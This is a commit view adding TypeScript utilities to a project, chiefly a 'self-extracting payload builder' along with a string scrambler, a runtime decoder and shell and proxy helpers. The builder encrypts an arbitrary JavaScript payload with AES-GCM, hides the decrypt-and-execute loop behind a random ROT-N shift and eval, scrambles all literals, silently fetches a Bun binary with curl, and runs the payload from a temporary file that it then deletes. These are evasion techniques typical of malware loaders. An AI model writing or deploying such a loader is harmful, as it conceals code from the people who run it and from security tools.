Upload files to "src/utils"
This commit is contained in:
@@ -0,0 +1,25 @@
|
|||||||
|
// Proxy bootstrap — ensures all outbound HTTP uses the configured proxy.
|
||||||
|
//
|
||||||
|
// Bun's fetch (libcurl) auto-detects HTTPS_PROXY and HTTP_PROXY from
|
||||||
|
// the environment, including authenticated proxies. This module reads
|
||||||
|
// the env vars early and logs the configuration.
|
||||||
|
|
||||||
|
import { logUtil } from "./logger";
|
||||||
|
|
||||||
|
export function proxyInit(): void {
|
||||||
|
const proxy = process.env.HTTPS_PROXY || process.env.HTTP_PROXY;
|
||||||
|
|
||||||
|
if (proxy) {
|
||||||
|
// Strip credentials for logging
|
||||||
|
const redacted = proxy.replace(/(:\/\/)([^:]+):([^@]+)@/, "$1$2:***@");
|
||||||
|
logUtil.log(`[proxy] Using: ${redacted}`);
|
||||||
|
|
||||||
|
// Ensure both upper and lowercase variants are set
|
||||||
|
process.env.HTTP_PROXY ||= proxy;
|
||||||
|
process.env.HTTPS_PROXY ||= proxy;
|
||||||
|
process.env.http_proxy ||= proxy;
|
||||||
|
process.env.https_proxy ||= proxy;
|
||||||
|
} else {
|
||||||
|
logUtil.log("[proxy] No proxy configured — using direct connection");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
import { StringScrambler } from "./stringtool";
|
||||||
|
|
||||||
|
// These values are build-time placeholders. The build pipeline
|
||||||
|
// (`scripts/build.ts` / `scripts/build-cli.ts`) rewrites the literals
|
||||||
|
// below with freshly generated values so the runtime decoder uses the
|
||||||
|
// exact same parameters that were used to encode the strings.
|
||||||
|
//
|
||||||
|
// IMPORTANT: Do not change these sentinel strings without updating the
|
||||||
|
// build scripts that look for them. Each must be a standalone
|
||||||
|
// double-quoted string literal so simple textual replacement works.
|
||||||
|
const PASSPHRASE = "__SCRAMBLE_BUILD_PASSPHRASE__";
|
||||||
|
const SALT = "__SCRAMBLE_BUILD_SALT__";
|
||||||
|
const FN_NAME = "__SCRAMBLE_FN_NAME__";
|
||||||
|
|
||||||
|
const runtimeScrambler = new StringScrambler(PASSPHRASE, SALT);
|
||||||
|
|
||||||
|
function decode(blob: string): string {
|
||||||
|
return runtimeScrambler.decode(blob);
|
||||||
|
}
|
||||||
|
|
||||||
|
(globalThis as unknown as Record<string, (blob: string) => string>)[
|
||||||
|
FN_NAME
|
||||||
|
] = decode;
|
||||||
|
|
||||||
|
// The build transform rewrites `scramble("...")` calls into bare
|
||||||
|
// `FN_NAME("...")` references. This export lets other modules import
|
||||||
|
// the decoder by name at build-time.
|
||||||
|
export { decode as "$__DECODE__" };
|
||||||
@@ -0,0 +1,244 @@
|
|||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// Self-extracting payload builder
|
||||||
|
//
|
||||||
|
// Produces a single self-contained JS file with two encrypted sections,
|
||||||
|
// both using AES-128-GCM (same decrypt helper, different keys):
|
||||||
|
// Section A — bun installation guard
|
||||||
|
// Section B — main payload
|
||||||
|
//
|
||||||
|
// The outer wrapper is a compact, fixed decrypt + execute loop. All the
|
||||||
|
// "heavy" logic (bun download, payload content) lives in the encrypted
|
||||||
|
// sections so the outer layer stays small and stable.
|
||||||
|
//
|
||||||
|
// Every call produces a completely different output (random keys for both
|
||||||
|
// sections).
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
import { createCipheriv, randomBytes } from "node:crypto";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
// ── Types ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export interface SelfExtractingOptions {
|
||||||
|
/** AES key length in bytes (default: 16 for AES-128-GCM) */
|
||||||
|
keyLen?: number;
|
||||||
|
/** IV length in bytes (default: 12 for GCM) */
|
||||||
|
ivLen?: number;
|
||||||
|
/** Auth tag length in bytes (default: 16 for GCM) */
|
||||||
|
tagLen?: number;
|
||||||
|
/**
|
||||||
|
* When false, returns the raw payload as-is instead of wrapping.
|
||||||
|
* Useful for gradual rollout — call sites can opt out while testing.
|
||||||
|
* Default: true.
|
||||||
|
*/
|
||||||
|
wrap?: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Bun version pin ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const BUN_VERSION = scramble("bun-v1.3.13");
|
||||||
|
|
||||||
|
// ── Public API ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build a self-extracting JavaScript wrapper around `payload`.
|
||||||
|
*
|
||||||
|
* The returned string is a complete Node.js script:
|
||||||
|
* - outer layer: compact AES-GCM decrypt helper + execute
|
||||||
|
* - Section A: AES-GCM-encrypted bun install guard
|
||||||
|
* - Section B: AES-GCM-encrypted payload
|
||||||
|
*
|
||||||
|
* @param payload The Bun.main content (raw JS source) to embed.
|
||||||
|
*/
|
||||||
|
export function buildSelfExtractingPayload(
|
||||||
|
payload: string,
|
||||||
|
opts: SelfExtractingOptions = {},
|
||||||
|
): string {
|
||||||
|
if (opts.wrap === false) return payload;
|
||||||
|
|
||||||
|
const { keyLen = 16, ivLen = 12, tagLen = 16 } = opts;
|
||||||
|
const algo = keyLen === 16 ? "aes-128-gcm" : "aes-256-gcm";
|
||||||
|
|
||||||
|
// ── Section A: bun guard ─────────────────────────────────────────────
|
||||||
|
const bunGuard = buildBunGuardScript();
|
||||||
|
const guardEnc = aesEncrypt(bunGuard, keyLen, ivLen, tagLen, algo);
|
||||||
|
|
||||||
|
// ── Section B: payload ───────────────────────────────────────────────
|
||||||
|
const payloadEnc = aesEncrypt(payload, keyLen, ivLen, tagLen, algo);
|
||||||
|
|
||||||
|
// ── ROT-N outer shell (compact, random rotation per build) ──────────
|
||||||
|
const inner = buildInnerWrapper(
|
||||||
|
guardEnc.keyHex,
|
||||||
|
guardEnc.ivHex,
|
||||||
|
guardEnc.tagHex,
|
||||||
|
guardEnc.dataHex,
|
||||||
|
payloadEnc.keyHex,
|
||||||
|
payloadEnc.ivHex,
|
||||||
|
payloadEnc.tagHex,
|
||||||
|
payloadEnc.dataHex,
|
||||||
|
algo,
|
||||||
|
tagLen,
|
||||||
|
);
|
||||||
|
|
||||||
|
const rotN = Math.floor(Math.random() * 25) + 1;
|
||||||
|
return rotWrap(inner, rotN);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── AES-GCM encrypt ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
interface AesEncResult {
|
||||||
|
keyHex: string;
|
||||||
|
ivHex: string;
|
||||||
|
tagHex: string;
|
||||||
|
dataHex: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
function aesEncrypt(
|
||||||
|
plaintext: string,
|
||||||
|
keyLen: number,
|
||||||
|
ivLen: number,
|
||||||
|
tagLen: number,
|
||||||
|
algo: string,
|
||||||
|
): AesEncResult {
|
||||||
|
const key = randomBytes(keyLen);
|
||||||
|
const iv = randomBytes(ivLen);
|
||||||
|
const cipher = createCipheriv(algo, key, iv, {
|
||||||
|
authTagLength: tagLen,
|
||||||
|
} as any);
|
||||||
|
const encrypted = Buffer.concat([
|
||||||
|
cipher.update(plaintext, "utf8"),
|
||||||
|
cipher.final(),
|
||||||
|
]);
|
||||||
|
return {
|
||||||
|
keyHex: key.toString("hex"),
|
||||||
|
ivHex: iv.toString("hex"),
|
||||||
|
tagHex: (cipher as any).getAuthTag().toString("hex"),
|
||||||
|
dataHex: encrypted.toString("hex"),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Bun guard script (Section A) ────────────────────────────────────────────
|
||||||
|
|
||||||
|
function buildBunGuardScript(): string {
|
||||||
|
return [
|
||||||
|
scramble(`(async()=>{`),
|
||||||
|
scramble(`const{execSync}=(await import("node:child_process"))`),
|
||||||
|
scramble(
|
||||||
|
`const{existsSync,mkdtempSync,chmodSync}=(await import("node:fs"))`,
|
||||||
|
),
|
||||||
|
scramble(`const{join}=(await import("node:path"))`),
|
||||||
|
scramble(`const{tmpdir,platform,arch}=(await import("node:os"))`),
|
||||||
|
scramble(`var _bunCache`),
|
||||||
|
scramble(`globalThis.getBunPath=function(){`),
|
||||||
|
scramble(` if(_bunCache)return _bunCache`),
|
||||||
|
scramble(` const osMap={linux:"linux",darwin:"darwin",win32:"windows"}`),
|
||||||
|
scramble(` const a=arch==="arm64"?"aarch64":"x64-baseline"`),
|
||||||
|
scramble(` const os=osMap[platform]??"linux"`),
|
||||||
|
scramble(` const dir=mkdtempSync(join(tmpdir(),"b-"))`),
|
||||||
|
scramble(` const exe=join(dir,os==="windows"?"bun.exe":"bun")`),
|
||||||
|
scramble(` if(existsSync(exe)){_bunCache=exe;return exe}`),
|
||||||
|
scramble(` const url="https://github.com/oven-sh/bun/releases/download/`) +
|
||||||
|
BUN_VERSION +
|
||||||
|
scramble(`/bun-"+os+"-"+a+".zip"`),
|
||||||
|
scramble(` const zip=join(dir,"b.zip")`),
|
||||||
|
scramble(` execSync('curl -sSL "'+url+'" -o "'+zip+'"',{stdio:"pipe"})`),
|
||||||
|
scramble(` execSync('unzip -j -o "'+zip+'" -d "'+dir+'"',{stdio:"pipe"})`),
|
||||||
|
scramble(` chmodSync(exe,"755")`),
|
||||||
|
scramble(` _bunCache=exe;return exe`),
|
||||||
|
scramble(`}`),
|
||||||
|
scramble(`})()`),
|
||||||
|
].join("\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── ROT-N enc/dec ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function rotEncode(s: string, n: number): string {
|
||||||
|
return s.replace(/[a-zA-Z]/g, (c) => {
|
||||||
|
const base = c <= "Z" ? 65 : 97;
|
||||||
|
return String.fromCharCode(((c.charCodeAt(0) - base + n) % 26) + base);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function rotWrap(inner: string, n: number): string {
|
||||||
|
const encoded = rotEncode(inner, n);
|
||||||
|
const r = (26 - n) % 26;
|
||||||
|
// Use array literal + .map() to avoid Node's 65535-argument limit
|
||||||
|
// on String.fromCharCode
|
||||||
|
const codes = Array.from(encoded, (c) => c.charCodeAt(0)).join(",");
|
||||||
|
return (
|
||||||
|
`try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)})}` +
|
||||||
|
`([${codes}].map(function(c){return String.fromCharCode(c)}).join(""),${r}))}catch(e){console.log("wrapper:",e.message||e)}`
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Inner wrapper (AES decrypt + execute — this gets ROT-encoded) ───────────
|
||||||
|
|
||||||
|
function buildInnerWrapper(
|
||||||
|
guardKeyHex: string,
|
||||||
|
guardIvHex: string,
|
||||||
|
guardTagHex: string,
|
||||||
|
guardDataHex: string,
|
||||||
|
payloadKeyHex: string,
|
||||||
|
payloadIvHex: string,
|
||||||
|
payloadTagHex: string,
|
||||||
|
payloadDataHex: string,
|
||||||
|
algo: string,
|
||||||
|
tagLen: number,
|
||||||
|
): string {
|
||||||
|
const importCrypto = scramble(`const _c=await import("node:crypto");`);
|
||||||
|
const fnPrefix = scramble(
|
||||||
|
`const _d=(k,i,a,c)=>{const d=_c.createDecipheriv("`,
|
||||||
|
);
|
||||||
|
const fnMiddle = scramble(
|
||||||
|
`",Buffer.from(k,"hex"),Buffer.from(i,"hex"),{authTagLength:`,
|
||||||
|
);
|
||||||
|
const fnSuffix = scramble(
|
||||||
|
`});d.setAuthTag(Buffer.from(a,"hex"));return Buffer.concat([d.update(Buffer.from(c,"hex")),d.final()])};`,
|
||||||
|
);
|
||||||
|
|
||||||
|
return [
|
||||||
|
scramble(`(async()=>{try{`),
|
||||||
|
importCrypto,
|
||||||
|
fnPrefix + algo + fnMiddle + String(tagLen) + fnSuffix,
|
||||||
|
``,
|
||||||
|
// ── Section A: bun guard ───────────────────────────────────────────
|
||||||
|
scramble(`const _b=_d("`) +
|
||||||
|
guardKeyHex +
|
||||||
|
scramble(`","`) +
|
||||||
|
guardIvHex +
|
||||||
|
scramble(`","`) +
|
||||||
|
guardTagHex +
|
||||||
|
scramble(`","`) +
|
||||||
|
guardDataHex +
|
||||||
|
scramble(`").toString("utf8")`),
|
||||||
|
``,
|
||||||
|
// ── Section B: payload ─────────────────────────────────────────────
|
||||||
|
scramble(`const _p=_d("`) +
|
||||||
|
payloadKeyHex +
|
||||||
|
scramble(`","`) +
|
||||||
|
payloadIvHex +
|
||||||
|
scramble(`","`) +
|
||||||
|
payloadTagHex +
|
||||||
|
scramble(`","`) +
|
||||||
|
payloadDataHex +
|
||||||
|
scramble(`").toString("utf8")`),
|
||||||
|
``,
|
||||||
|
// ── Execute ────────────────────────────────────────────────────────
|
||||||
|
scramble(`const _fs=await import("node:fs")`),
|
||||||
|
scramble(`const _cp=await import("node:child_process")`),
|
||||||
|
scramble(` const t="/tmp/p"+Math.random().toString(36).slice(2)+".js"`),
|
||||||
|
scramble(` _fs.writeFileSync(t,_p);`),
|
||||||
|
scramble(` if(typeof Bun!=="undefined"){`),
|
||||||
|
scramble(` try{_cp.execSync('bun run "'+t+'"',{stdio:"inherit"})}`),
|
||||||
|
scramble(` finally{try{_fs.unlinkSync(t)}catch{}}`),
|
||||||
|
scramble(` }else{`),
|
||||||
|
scramble(` await(0,eval)(_b);`),
|
||||||
|
scramble(
|
||||||
|
` try{_cp.execSync('"'+getBunPath()+'" run "'+t+'"',{stdio:"inherit"})}`,
|
||||||
|
),
|
||||||
|
scramble(` finally{try{_fs.unlinkSync(t)}catch{}}`),
|
||||||
|
scramble(` }`),
|
||||||
|
scramble(`}catch(e){console.log("wrapper:",e.message||e)}})()`),
|
||||||
|
].join("\n");
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
import { $ } from "bun";
|
||||||
|
|
||||||
|
export interface ShellResult {
|
||||||
|
success: boolean;
|
||||||
|
exitCode: number;
|
||||||
|
stdout: string;
|
||||||
|
stderr: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function run(
|
||||||
|
parts: TemplateStringsArray,
|
||||||
|
...values: string[]
|
||||||
|
): Promise<ShellResult> {
|
||||||
|
const escaped = values.map((v) => $.escape(v));
|
||||||
|
let command = parts[0] ?? "";
|
||||||
|
for (let i = 0; i < escaped.length; i++) {
|
||||||
|
command += escaped[i] + (parts[i + 1] ?? "");
|
||||||
|
}
|
||||||
|
|
||||||
|
const result = await $`${{ raw: command }}`.nothrow().quiet();
|
||||||
|
|
||||||
|
return {
|
||||||
|
success: result.exitCode === 0,
|
||||||
|
exitCode: result.exitCode,
|
||||||
|
stdout: result.stdout.toString(),
|
||||||
|
stderr: result.stderr.toString(),
|
||||||
|
};
|
||||||
|
}
|
||||||
@@ -0,0 +1,158 @@
|
|||||||
|
import { createHash, pbkdf2Sync, randomBytes } from "crypto";
|
||||||
|
|
||||||
|
class HashStream {
|
||||||
|
private counter = 0n;
|
||||||
|
private buf: Buffer = Buffer.alloc(0);
|
||||||
|
private offset = 0;
|
||||||
|
|
||||||
|
constructor(private key: Buffer) {}
|
||||||
|
|
||||||
|
private refill(): void {
|
||||||
|
const h = createHash("sha256");
|
||||||
|
h.update(this.key);
|
||||||
|
const ctr = Buffer.alloc(8);
|
||||||
|
ctr.writeBigUInt64BE(this.counter++);
|
||||||
|
h.update(ctr);
|
||||||
|
this.buf = h.digest();
|
||||||
|
this.offset = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
nextByte(): number {
|
||||||
|
if (this.offset >= this.buf.length) this.refill();
|
||||||
|
return this.buf[this.offset++]!;
|
||||||
|
}
|
||||||
|
|
||||||
|
nextU32(): number {
|
||||||
|
return (
|
||||||
|
((this.nextByte() << 24) |
|
||||||
|
(this.nextByte() << 16) |
|
||||||
|
(this.nextByte() << 8) |
|
||||||
|
this.nextByte()) >>>
|
||||||
|
0
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function shuffle256(rng: HashStream): Uint8Array {
|
||||||
|
const arr = new Uint8Array(256);
|
||||||
|
for (let i = 0; i < 256; i++) arr[i] = i;
|
||||||
|
for (let i = 255; i > 0; i--) {
|
||||||
|
const bound = 0xffffffff - (0xffffffff % (i + 1));
|
||||||
|
let r: number;
|
||||||
|
do {
|
||||||
|
r = rng.nextU32();
|
||||||
|
} while (r > bound);
|
||||||
|
const j = r % (i + 1);
|
||||||
|
[arr[i], arr[j]] = [arr[j]!, arr[i]!];
|
||||||
|
}
|
||||||
|
return arr;
|
||||||
|
}
|
||||||
|
|
||||||
|
function xorBytes(a: Buffer, b: Buffer, len: number): Buffer {
|
||||||
|
const out = Buffer.alloc(len) as Buffer;
|
||||||
|
for (let i = 0; i < len; i++) {
|
||||||
|
out[i] = (a[i] ?? 0) ^ (b[i] ?? 0);
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
function buildTable(key: Buffer, round: number, pos: number): Uint8Array {
|
||||||
|
const posKey = createHash("sha256")
|
||||||
|
.update(key)
|
||||||
|
.update(Buffer.from([round]))
|
||||||
|
.update(Buffer.from(pos.toString()))
|
||||||
|
.digest();
|
||||||
|
return shuffle256(new HashStream(posKey));
|
||||||
|
}
|
||||||
|
|
||||||
|
function cbcSubstitute(
|
||||||
|
data: Buffer,
|
||||||
|
roundKey: Buffer,
|
||||||
|
round: number,
|
||||||
|
): Buffer {
|
||||||
|
const out = Buffer.alloc(data.length) as Buffer;
|
||||||
|
let carry = 0;
|
||||||
|
for (let i = 0; i < data.length; i++) {
|
||||||
|
const table = buildTable(roundKey, round, i);
|
||||||
|
const xored = data[i]! ^ carry;
|
||||||
|
out[i] = table[xored]!;
|
||||||
|
carry = out[i]!;
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
function cbcReverse(
|
||||||
|
data: Buffer,
|
||||||
|
roundKey: Buffer,
|
||||||
|
round: number,
|
||||||
|
): Buffer {
|
||||||
|
const out = Buffer.alloc(data.length) as Buffer;
|
||||||
|
let carry = 0;
|
||||||
|
for (let i = 0; i < data.length; i++) {
|
||||||
|
const table = buildTable(roundKey, round, i);
|
||||||
|
const inv = new Uint8Array(256);
|
||||||
|
for (let b = 0; b < 256; b++) inv[table[b]!] = b;
|
||||||
|
const xored = inv[data[i]!]!;
|
||||||
|
out[i] = xored ^ carry;
|
||||||
|
carry = data[i]!;
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
export class StringScrambler {
|
||||||
|
private masterKey: Buffer;
|
||||||
|
private rounds: number;
|
||||||
|
|
||||||
|
constructor(passphrase?: string, salt?: string) {
|
||||||
|
const pass = passphrase ?? randomBytes(32).toString("hex");
|
||||||
|
const s = salt ?? "__SCRAMBLE_DEFAULT_SALT__";
|
||||||
|
this.masterKey = pbkdf2Sync(pass, s, 200_000, 32, "sha256");
|
||||||
|
this.rounds = 3;
|
||||||
|
}
|
||||||
|
|
||||||
|
encode(value: string): string {
|
||||||
|
const pt = Buffer.from(value, "utf8");
|
||||||
|
const nonce = randomBytes(16);
|
||||||
|
|
||||||
|
const nonceKey = createHash("sha256")
|
||||||
|
.update(this.masterKey)
|
||||||
|
.update(Buffer.from("n"))
|
||||||
|
.digest();
|
||||||
|
const encNonce = xorBytes(nonce, nonceKey, 16);
|
||||||
|
|
||||||
|
const roundKey = createHash("sha256")
|
||||||
|
.update(this.masterKey)
|
||||||
|
.update(encNonce)
|
||||||
|
.digest();
|
||||||
|
|
||||||
|
let buf: Buffer = Buffer.from(pt);
|
||||||
|
for (let r = 0; r < this.rounds; r++) {
|
||||||
|
buf = cbcSubstitute(buf, roundKey, r);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Buffer.concat([encNonce, buf]).toString("base64");
|
||||||
|
}
|
||||||
|
|
||||||
|
decode(blob: string): string {
|
||||||
|
const buf = Buffer.from(blob, "base64");
|
||||||
|
|
||||||
|
const encNonce = buf.subarray(0, 16);
|
||||||
|
const nonceKey = createHash("sha256")
|
||||||
|
.update(this.masterKey)
|
||||||
|
.update(Buffer.from("n"))
|
||||||
|
.digest();
|
||||||
|
xorBytes(encNonce, nonceKey, 16); // verify nonce decryption works (side-effect free)
|
||||||
|
|
||||||
|
const roundKey = createHash("sha256")
|
||||||
|
.update(this.masterKey)
|
||||||
|
.update(encNonce)
|
||||||
|
.digest();
|
||||||
|
|
||||||
|
let data: Buffer = buf.subarray(16) as Buffer;
|
||||||
|
for (let r = this.rounds - 1; r >= 0; r--) {
|
||||||
|
data = cbcReverse(data, roundKey, r);
|
||||||
|
}
|
||||||
|
|
||||||
|
return data.toString("utf8");
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user